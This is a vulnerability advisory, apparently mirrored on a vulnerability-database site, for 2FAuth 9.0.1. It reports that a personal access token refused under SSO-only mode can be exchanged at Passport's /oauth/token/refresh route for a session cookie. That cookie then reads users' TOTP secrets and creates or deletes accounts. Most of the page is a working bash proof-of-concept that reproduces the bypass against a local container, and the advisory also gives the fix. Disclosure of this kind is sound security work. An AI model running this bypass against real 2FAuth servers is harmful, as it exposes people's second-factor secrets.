
Cloud Vulnerability DB
A community-led vulnerabilities database
This is the report mailed to the maintainer on 18 November 2026, opened here as a GitHub advisory at the maintainer's request; 9.0.2 removes the affected route by commit 7b2f59fabc. The defect is an incomplete fix of GHSA-qwr6-x466-fv4r in 9.0.1: the vendor's default configuration is not affected; the defect needs the operator's documented SSO-only mode, useSsoOnly (Use SSO only) enabled with allowPatWhileSsoOnly (Allow PAT usage) unchecked, where 9.0.1 was meant to refuse a previously issued ordinary-user personal access token. In 9.0.1 the middleware app/Http/Middleware/RejectPatIfNotAllowed.php:27 refused such a token at every route in the group at routes/api/v1.php:31 by testing $token instanceof AccessToken and the manage-pat gate. Passport's own POST /oauth/token/refresh was registered outside that group: laravel/passport v13.10.0 routes/web.php:35 put it under web and auth:api-guard, and 2FAuth pointed Passport at api-guard in config/passport.php:16. The route accepted the same token as a Bearer credential and returned a laravel_token JWT from ApiTokenCookieFactory::make() carrying the token owner's id and the session CSRF value. GET /api/v1/twofaccounts/{id} with that cookie authenticated through TokenGuard::authenticateViaCookie() as a Laravel\Passport\TransientToken, which RejectPatIfNotAllowed did not test, and TwoFAccountController::show() returned the account's secret. The middleware's comment at line 19, "Requests authenticated by the SPA (transient token) are not impacted", held only while a transient token had to come from a first-party session; at /oauth/token/refresh the refused token minted one itself. The advisory's remediation sentence, "Distinguish bearer PATs from valid first-party web-session authentication", was therefore not met. The proof below was run on the official 9.0.1 image on 18 November 2026, before 9.0.2 was published.
#!/bin/bash
set -u
FAIL=0
B=http://127.0.0.1:8000
W=/work/2fauth
SECRET=JBSWY3DPEHPK3PXP
mkdir -p "$W"
for t in curl python3 docker nsenter; do
command -v "$t" >/dev/null 2>&1 && continue
if command -v apt-get >/dev/null 2>&1; then
apt-get update -qq >/dev/null 2>&1
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq curl python3 util-linux >/dev/null 2>&1
elif command -v apk >/dev/null 2>&1; then
apk add --no-cache curl python3 util-linux >/dev/null 2>&1
fi
done
for t in curl python3 docker nsenter; do
command -v "$t" >/dev/null 2>&1 && echo "PASS tool $t" || { echo "FAIL tool $t"; FAIL=1; }
done
[ "$FAIL" = 0 ] || { echo "SETUP FAIL=$FAIL"; exit 1; }
cat > "$W/oidc.py" <<'PYEOF'
import json, socket, struct, sys, threading, urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 9010
def dns_stub():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("127.0.0.1", 53))
while True:
data, addr = s.recvfrom(512)
if len(data) < 12:
continue
flags = struct.unpack("!H", data[2:4])[0]
resp_flags = (flags & 0x0100) | 0x8083
resp = data[0:2] + struct.pack("!H", resp_flags) + data[4:6] + b"\x00\x00\x00\x00\x00\x00" + data[12:]
s.sendto(resp, addr)
threading.Thread(target=dns_stub, daemon=True).start()
class H(BaseHTTPRequestHandler):
def log_message(self, *a):
pass
def send(self, code, body, ctype="application/json", extra=None):
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
for k, v in (extra or {}).items():
self.send_header(k, v)
self.end_headers()
self.wfile.write(body)
def do_GET(self):
u = urllib.parse.urlparse(self.path)
q = urllib.parse.parse_qs(u.query)
if u.path == "/up":
self.send(200, b"ok", "text/plain")
elif u.path == "/authorize":
redirect = (q.get("redirect_uri") or [""])[0]
state = (q.get("state") or [""])[0]
loc = redirect + "?" + urllib.parse.urlencode({"code": "stub-code", "state": state})
self.send(302, b"", "text/plain", {"Location": loc})
elif u.path == "/userinfo":
body = json.dumps({"sub": "sso-user-1", "email": "sso@local.test", "email_verified": True, "name": "SSO User", "nickname": "ssouser"}).encode()
self.send(200, body)
else:
self.send(404, b"{}")
def do_POST(self):
u = urllib.parse.urlparse(self.path)
n = int(self.headers.get("Content-Length") or 0)
self.rfile.read(n)
if u.path == "/token":
body = json.dumps({"access_token": "stub-access-token", "token_type": "Bearer", "expires_in": 3600, "refresh_token": "stub-refresh-token", "scope": "openid profile email"}).encode()
self.send(200, body)
else:
self.send(404, b"{}")
HTTPServer(("127.0.0.1", PORT), H).serve_forever()
PYEOF
docker pull 2fauth/2fauth:9.0.1 >/dev/null 2>&1 || { echo "FAIL image pull"; exit 1; }
CT() { nsenter -t "$PID" -n curl "$@"; }
tok() { awk -v n="$2" '$6==n {print $7}' "$1" | tail -1 | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))'; }
post() { local jar="$1" url="$2" data="$3" out="$4"; CT -s -b "$jar" -c "$jar" -H "X-XSRF-TOKEN: $(tok "$jar" XSRF-TOKEN)" -H 'Content-Type: application/json' -H 'Accept: application/json' -X POST "$url" --data "$data" -o "$out" -w '%{http_code}'; }
field() { python3 -c 'import json,sys;d=json.load(open(sys.argv[1]));print(d.get(sys.argv[2],""))' "$1" "$2" 2>/dev/null; }
start() {
docker rm -f proof-2fauth >/dev/null 2>&1
docker volume rm proof-2fauth-data >/dev/null 2>&1
docker volume create proof-2fauth-data >/dev/null
local KEY="base64:$(head -c 32 /dev/urandom | base64 | tr -d '\n')"
docker run -d --name proof-2fauth --network none --dns 127.0.0.1 \
-e APP_KEY="$KEY" -e APP_URL="$B" -e APP_ENV=production -e APP_DEBUG=false \
-e DB_CONNECTION=sqlite -e DB_DATABASE=/srv/database/database.sqlite \
-e AUTHENTICATION_GUARD=web-guard -e IS_DEMO_APP=false -e THROTTLE_API=600 \
-e OPENID_AUTHORIZE_URL=http://127.0.0.1:9010/authorize \
-e OPENID_TOKEN_URL=http://127.0.0.1:9010/token \
-e OPENID_USERINFO_URL=http://127.0.0.1:9010/userinfo \
-e OPENID_CLIENT_ID=proof -e OPENID_CLIENT_SECRET=proof \
-v proof-2fauth-data:/srv/database 2fauth/2fauth:9.0.1 >/dev/null
PID=$(docker inspect -f '{{.State.Pid}}' proof-2fauth)
[ -n "$PID" ] || { echo "FAIL no container pid"; return 1; }
local n=0
while [ "$n" -lt 120 ]; do
[ "$(CT -s -o /dev/null -w '%{http_code}' "$B/up" 2>/dev/null)" = 200 ] && break
n=$((n+1)); sleep 1
done
[ "$n" -lt 120 ] || { echo "FAIL app did not start"; docker logs proof-2fauth 2>&1 | tail -20; return 1; }
[ -n "${OPID:-}" ] && kill "$OPID" 2>/dev/null
nsenter -t "$PID" -n python3 "$W/oidc.py" 9010 >/dev/null 2>&1 &
OPID=$!
n=0
while [ "$n" -lt 20 ]; do
[ "$(CT -s -o /dev/null -w '%{http_code}' http://127.0.0.1:9010/up 2>/dev/null)" = 200 ] && break
n=$((n+1)); sleep 1
done
[ "$n" -lt 20 ] || { echo "FAIL OpenID provider did not start"; return 1; }
echo "PASS 2FAuth 9.0.1 up on $B with the OpenID provider and DNS answered on loopback"
}
setup() {
JA=$W/admin.jar
JS=$W/sso.jar
rm -f "$JA" "$JS"
CT -s -c "$JA" "$B/" -o /dev/null
local ST
ST=$(post "$JA" "$B/user" '{"name":"admin","email":"admin@local.test","password":"Password123!","password_confirmation":"Password123!"}' "$W/reg.json")
echo "first user (admin) created: HTTP $ST"
[ "$ST" = 201 ] || { echo "FAIL admin registration"; return 1; }
ST=$(post "$JA" "$B/oauth/personal-access-tokens" '{"name":"admin-proof"}' "$W/apat.json")
APAT=$(field "$W/apat.json" accessToken)
echo "admin PAT for the settings calls: HTTP $ST"
[ "$ST" = 200 ] && [ -n "$APAT" ] || { echo "FAIL admin PAT"; return 1; }
ST=$(CT -s -c "$JS" -b "$JS" -L "$B/socialite/redirect/openid" -o "$W/sso.html" -w '%{http_code} %{url_effective}')
echo "SSO sign-in through the local OpenID provider: HTTP $ST"
docker exec proof-2fauth php -r 'foreach ((new PDO("sqlite:/srv/database/database.sqlite"))->query("select id,email,oauth_provider,oauth_id from users") as $r) { echo "USER ".$r["id"]." ".$r["email"]." provider=".$r["oauth_provider"]." oauth_id=".$r["oauth_id"]."\n"; }' 2>/dev/null | sed 's/^/ACCOUNT /'
ST=$(CT -s -b "$JS" -c "$JS" -H 'Accept: application/json' "$B/oauth/personal-access-tokens" -o "$W/sso_tokens.json" -w '%{http_code}')
echo "SSO user session reads its PAT list: HTTP $ST"
[ "$ST" = 200 ] || { echo "FAIL SSO login"; return 1; }
ST=$(post "$JS" "$B/oauth/personal-access-tokens" '{"name":"sso-proof"}' "$W/pat.json")
PAT=$(field "$W/pat.json" accessToken)
echo "ordinary user PAT minted: HTTP $ST"
[ "$ST" = 200 ] && [ -n "$PAT" ] || { echo "FAIL PAT"; return 1; }
ST=$(post "$JS" "$B/oauth/personal-access-tokens" '{"name":"revoked-proof"}' "$W/pat2.json")
PAT2=$(field "$W/pat2.json" accessToken)
TID=$(field "$W/pat2.json" accessTokenId)
echo "second PAT minted for the revocation control: HTTP $ST"
ST=$(CT -s -b "$JS" -c "$JS" -H "X-XSRF-TOKEN: $(tok "$JS" XSRF-TOKEN)" -X DELETE "$B/oauth/personal-access-tokens/$TID" -o /dev/null -w '%{http_code}')
echo "second PAT revoked before the SSO-only switch: HTTP $ST"
[ "$ST" = 204 ] || { echo "FAIL revoke"; return 1; }
ST=$(CT -s -H "Authorization: Bearer $PAT" -H 'Content-Type: application/json' -H 'Accept: application/json' -X POST "$B/api/v1/twofaccounts" --data '{"uri":"otpauth://totp/Proof:ssouser?secret=JBSWY3DPEHPK3PXP&issuer=Proof"}' -o "$W/acct.json" -w '%{http_code}')
ID=$(field "$W/acct.json" id)
echo "2FA account created with the PAT: HTTP $ST, id $ID"
[ "$ST" = 201 ] && [ -n "$ID" ] || { echo "FAIL account"; return 1; }
}
enable() {
local ST ST2
ST=$(CT -s -H "Authorization: Bearer $APAT" -H 'Content-Type: application/json' -H 'Accept: application/json' -X PUT "$B/api/v1/settings/useSsoOnly" --data '{"value":true}' -o /dev/null -w '%{http_code}')
ST2=$(CT -s -H "Authorization: Bearer $APAT" -H 'Content-Type: application/json' -H 'Accept: application/json' -X PUT "$B/api/v1/settings/allowPatWhileSsoOnly" --data '{"value":false}' -o /dev/null -w '%{http_code}')
echo "Use SSO only enabled, Allow PAT usage disabled: HTTP $ST/$ST2"
ENABLED=$ST
}
refresh_arm() {
local label="$1" jar="$W/refresh.jar" ST
rm -f "$jar"
CT -s -c "$jar" "$B/" -o /dev/null
ST=$(CT -s -b "$jar" -c "$jar" -H "X-XSRF-TOKEN: $(tok "$jar" XSRF-TOKEN)" -H "Authorization: Bearer $PAT" -X POST "$B/oauth/token/refresh" -o "$W/refresh.txt" -w '%{http_code}')
RAS=$ST
RHAS=$(awk '$6=="laravel_token" {c++} END {print c+0}' "$jar")
echo "$label: POST /oauth/token/refresh with the refused PAT: HTTP $ST, laravel_token cookies: $RHAS"
}
cookie_read() {
local jar="$W/refresh.jar" ST
ST=$(CT -s -b "$jar" -c "$jar" -H "X-XSRF-TOKEN: $(tok "$jar" XSRF-TOKEN)" -H 'Accept: application/json' "$B/api/v1/twofaccounts/$ID" -o "$W/arm_cookie.json" -w '%{http_code}')
RCS=$ST
GOT=$(field "$W/arm_cookie.json" secret)
echo "SURVIVOR: GET /api/v1/twofaccounts/$ID with the transient cookie: HTTP $ST, secret $GOT"
}
write_arm() {
local jar="$W/refresh.jar" ST ST2 NID
ST=$(CT -s -b "$jar" -c "$jar" -H "X-XSRF-TOKEN: $(tok "$jar" XSRF-TOKEN)" -H 'Content-Type: application/json' -H 'Accept: application/json' -X POST "$B/api/v1/twofaccounts" --data '{"uri":"otpauth://totp/Written:by-cookie?secret=GEZDGNBVGY3TQOJQ&issuer=Written"}' -o "$W/write.json" -w '%{http_code}')
NID=$(field "$W/write.json" id)
echo "WRITE: POST /api/v1/twofaccounts with the transient cookie: HTTP $ST, new id $NID"
ST2=$(CT -s -b "$jar" -c "$jar" -H "X-XSRF-TOKEN: $(tok "$jar" XSRF-TOKEN)" -H 'Accept: application/json' -X DELETE "$B/api/v1/twofaccounts/$NID" -o /dev/null -w '%{http_code}')
echo "WRITE: DELETE /api/v1/twofaccounts/$NID with the transient cookie: HTTP $ST2"
WS=$ST
WDS=$ST2
}
main_arms() {
local ST ST2
ST=$(CT -s -H "Authorization: Bearer $PAT" -H 'Accept: application/json' "$B/api/v1/twofaccounts/$ID" -o "$W/before.json" -w '%{http_code}')
echo "CONTROL: SSO-only off, the PAT at /api/v1/twofaccounts/$ID: HTTP $ST (expected 200)"
ST=$(CT -s -H 'Accept: application/json' "$B/api/v1/twofaccounts/$ID" -o /dev/null -w '%{http_code}')
NOS=$ST
echo "CONTROL: no credential at the account: HTTP $ST (expected 401)"
enable
ST=$(CT -s -H "Authorization: Bearer $PAT" -H 'Accept: application/json' "$B/api/v1/twofaccounts/$ID" -o "$W/parent.json" -w '%{http_code}')
PS=$ST
echo "PARENT ARM: the PAT at /api/v1/twofaccounts/$ID under SSO-only: HTTP $ST (expected 403)"
refresh_arm "SURVIVOR"
cookie_read
write_arm
ST=$(CT -s -H "Authorization: Bearer $PAT" -H 'Accept: application/json' "$B/oauth/clients" -o "$W/clients.json" -w '%{http_code}')
echo "SECOND DOOR: GET /oauth/clients with the refused PAT: HTTP $ST"
local JC=$W/client.jar
rm -f "$JC"
CT -s -c "$JC" "$B/" -o /dev/null
ST=$(CT -s -b "$JC" -c "$JC" -H "X-XSRF-TOKEN: $(tok "$JC" XSRF-TOKEN)" -H "Authorization: Bearer $PAT" -H 'Content-Type: application/json' -H 'Accept: application/json' -X POST "$B/oauth/clients" --data '{"name":"proof-client","redirect":"http://127.0.0.1:9/cb","confidential":true}' -o "$W/client.json" -w '%{http_code}')
CID=$(field "$W/client.json" id)
CSEC=$(field "$W/client.json" plain_secret)
echo "SECOND DOOR: POST /oauth/clients with the refused PAT: HTTP $ST, client id $CID"
ST=$(CT -s -b "$JC" -c "$JC" -H "Authorization: Bearer $PAT" -H 'Accept: application/json' "$B/oauth/authorize?client_id=$CID&redirect_uri=http%3A%2F%2F127.0.0.1%3A9%2Fcb&response_type=code&state=xyz" -o "$W/authz.out" -D "$W/authz.hdr" -w '%{http_code}')
echo "SECOND DOOR: GET /oauth/authorize with the refused PAT: HTTP $ST"
if [ "$ST" = 500 ]; then
E=$(docker exec proof-2fauth sh -c "grep -m1 'Argument #2' storage/logs/laravel-*.log" 2>/dev/null | tail -1 | cut -c1-180)
echo "SECOND DOOR: authorize error: $E"
fi
CODE=$(grep -i '^location:' "$W/authz.hdr" 2>/dev/null | sed -n 's/.*[?&]code=\([^&]*\).*/\1/p')
if [ -n "$CODE" ]; then
ST=$(CT -s -H 'Content-Type: application/json' -H 'Accept: application/json' -X POST "$B/oauth/token" --data "{\"grant_type\":\"authorization_code\",\"client_id\":\"$CID\",\"client_secret\":\"$CSEC\",\"redirect_uri\":\"http://127.0.0.1:9/cb\",\"code\":\"$CODE\"}" -o "$W/oat.json" -w '%{http_code}')
OAT=$(field "$W/oat.json" access_token)
echo "SECOND DOOR: authorization code exchanged: HTTP $ST, bearer length ${#OAT}"
if [ -n "$OAT" ]; then
ST=$(CT -s -H "Authorization: Bearer $OAT" -H 'Accept: application/json' "$B/api/v1/twofaccounts/$ID" -o "$W/oat_read.json" -w '%{http_code}')
echo "SECOND DOOR: the non-PAT bearer at /api/v1/twofaccounts/$ID: HTTP $ST"
fi
else
echo "SECOND DOOR: no authorization code returned; the exchange stops at the authorize route"
fi
ST=$(CT -s -b "$W/refresh.jar" -c "$W/refresh.jar" -H "X-XSRF-TOKEN: $(tok "$W/refresh.jar" XSRF-TOKEN)" -H "Authorization: Bearer $PAT2" -X POST "$B/oauth/token/refresh" -o /dev/null -w '%{http_code}')
echo "CONTROL: the revoked second PAT at /oauth/token/refresh: HTTP $ST (expected 401)"
RS=$ST
ST=$(CT -s -H "Authorization: Bearer $APAT" -H 'Content-Type: application/json' -H 'Accept: application/json' -X PUT "$B/api/v1/settings/useSsoOnly" --data '{"value":false}' -o /dev/null -w '%{http_code}')
ST2=$(CT -s -H "Authorization: Bearer $PAT" -H 'Accept: application/json' "$B/api/v1/twofaccounts/$ID" -o /dev/null -w '%{http_code}')
echo "CONTROL: SSO-only off again, the same PAT at the account: HTTP $ST2 (expected 200)"
OS=$ST2
}
replay() {
local i="$1" R1 R2 R3 R4 R5 RSEC
start > "$W/start.log" 2>&1 || { echo "replay $i: START FAILED"; tail -5 "$W/start.log"; return 1; }
if ! setup > "$W/setup.log" 2>&1; then echo "replay $i: SETUP FAILED"; tail -5 "$W/setup.log"; return 1; fi
enable > /dev/null 2>&1
R1=$(CT -s -H "Authorization: Bearer $PAT" -H 'Accept: application/json' "$B/api/v1/twofaccounts/$ID" -o /dev/null -w '%{http_code}')
rm -f "$W/rep.jar"
CT -s -c "$W/rep.jar" "$B/" -o /dev/null
R2=$(CT -s -b "$W/rep.jar" -c "$W/rep.jar" -H "X-XSRF-TOKEN: $(tok "$W/rep.jar" XSRF-TOKEN)" -H "Authorization: Bearer $PAT" -X POST "$B/oauth/token/refresh" -o /dev/null -w '%{http_code}')
R3=$(CT -s -b "$W/rep.jar" -c "$W/rep.jar" -H "X-XSRF-TOKEN: $(tok "$W/rep.jar" XSRF-TOKEN)" -H 'Accept: application/json' "$B/api/v1/twofaccounts/$ID" -o "$W/rep.json" -w '%{http_code}')
RSEC=$(field "$W/rep.json" secret)
R4=$(CT -s -b "$W/rep.jar" -c "$W/rep.jar" -H "X-XSRF-TOKEN: $(tok "$W/rep.jar" XSRF-TOKEN)" -H 'Content-Type: application/json' -H 'Accept: application/json' -X POST "$B/api/v1/twofaccounts" --data '{"uri":"otpauth://totp/Replay:again?secret=GEZDGNBVGY3TQOJQ&issuer=Replay"}' -o "$W/repw.json" -w '%{http_code}')
R5=$(CT -s -H "Authorization: Bearer $PAT" -H 'Accept: application/json' "$B/oauth/clients" -o /dev/null -w '%{http_code}')
echo "replay $i: pat=$R1 refresh=$R2 cookie_read=$R3 secret=$RSEC write=$R4 clients=$R5"
[ "$R1" = 403 ] && [ "$R2" = 200 ] && [ "$R3" = 200 ] && [ "$RSEC" = "$SECRET" ] && [ "$R4" = 201 ] && [ "$R5" = 200 ] && HITS=$((HITS+1))
}
start || { echo "PROOF RESULT FAIL=1"; exit 1; }
setup || { echo "PROOF RESULT FAIL=1"; exit 1; }
docker exec proof-2fauth php artisan route:list --json > "$W/routes.json" 2>/dev/null
python3 - "$W/routes.json" <<'PYEOF'
import json,sys
try:
rows=json.load(open(sys.argv[1]))
except Exception as e:
print("ROUTES unreadable:", e)
raise SystemExit(0)
for r in rows:
uri=r.get("uri","")
mw=r.get("middleware")
if uri.startswith("oauth") or uri.startswith("api/v1/twofaccounts"):
print("ROUTE", r.get("method"), "/"+uri, "|", ", ".join(mw) if isinstance(mw,list) else mw)
PYEOF
main_arms
[ "$PS" = 403 ] && echo "PASS the parent fix refuses the PAT at the API" || { echo "FAIL parent arm"; FAIL=1; }
[ "$NOS" = 401 ] && echo "PASS no credential is refused" || { echo "FAIL no-credential control"; FAIL=1; }
[ "$RAS" = 200 ] && [ "$RHAS" -ge 1 ] && [ "$RCS" = 200 ] && [ "$GOT" = "$SECRET" ] && echo "PASS the refused PAT reaches the account through the transient cookie" || { echo "FAIL survivor arm"; FAIL=1; }
[ "$WS" = 201 ] && [ "$WDS" = 204 ] && echo "PASS the refused PAT writes through the transient cookie" || { echo "FAIL write arm"; FAIL=1; }
[ "$RS" = 401 ] && echo "PASS a revoked PAT is refused at the refresh route" || { echo "FAIL revoked control"; FAIL=1; }
[ "$OS" = 200 ] && echo "PASS SSO-only is the only difference" || { echo "FAIL policy-off control"; FAIL=1; }
HITS=0
i=1
while [ "$i" -le 10 ]; do
replay "$i" || FAIL=1
i=$((i+1))
done
echo "REPLAYS $HITS/10"
[ "$HITS" = 10 ] || FAIL=1
echo "PROOF RESULT FAIL=$FAIL"
exit "$FAIL"A holder of a still-valid ordinary-user personal access token can read the user's 2FA accounts at /api/v1 while SSO-only is off, and after the operator enables SSO-only and leaves Allow PAT usage unchecked that same holder still reads the user's TOTP and HOTP secrets through Passport's refresh route, and can create and delete that user's 2FA accounts. The token is never accepted by the API group the fix guards; it is traded at Passport's refresh route for the first-party cookie the API does accept. The holder needs no secret beyond the token. One unauthenticated GET to the site supplies the session cookie and CSRF token the refresh POST requires, so the attack is three requests with the token as the only credential. The rating is the parent advisory's vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L (8.3); counting the one unauthenticated GET as attack complexity gives CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L (7.1).
Upgrade to 9.0.2. Its commit 7b2f59fabc (Remove Passport's unused built-in OAuth routes) calls Passport::ignoreRoutes() in app/Providers/AppServiceProvider.php and stops setting Passport::$registersJsonApiRoutes, so POST /oauth/token/refresh and the OAuth client routes are no longer registered; the release's new test tests/Feature/Permissions/PatUsageWithSsoOnlyTest.php asserts those routes are absent and that a personal access token cannot be exchanged for a laravel_token cookie. The personal-access-token management routes that remain in routes/web.php sit behind the web session guard and deny a standard user while SSO-only is on, so they do not accept a refused token (by read of the 9.0.2 source, not measured).
Measured on the released 9.0.1 official image with a local OpenID provider and a fresh database, ten cold replays; the image digest sha256:9cd2d70937980c77d34f03b2f57a2b8f626adeb8f35b6b5c8ecc0525c073ae57 was read from the Docker Hub manifest and is not printed by the run. The parent advisory GHSA-qwr6-x466-fv4r (High, CVSS 3.1 8.3) was read in full; its body names routes/api/v1.php:31 and no other Passport route. No public issue, pull request, discussion, advisory or CVE names /oauth/token/refresh or a personal-access-token-minted transient cookie (reads of 2026-11-18 and 2026-11-21). The maintainer answered the report on 2026-11-20 and released 9.0.2 the same day with commit 7b2f59fabc. The same run measured the other Passport routes: GET /oauth/clients returns 200 and POST /oauth/clients 201 to the refused token, and GET /oauth/authorize returns 500 because Passport injects its own TokenGuard into AuthorizationController, so the authorization-code exchange stops there and no non-PAT bearer token is minted. A revoked token is refused with 401 at the refresh route. AI tools were used to find this issue and to run the reproduction. When you publish this advisory, please request a CVE for it with the Request CVE button on the advisory page. Please credit the report to EZO Labs Security (GitHub user superbot-helper; https://ezolabs.net, tony@ezolabs.net).
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."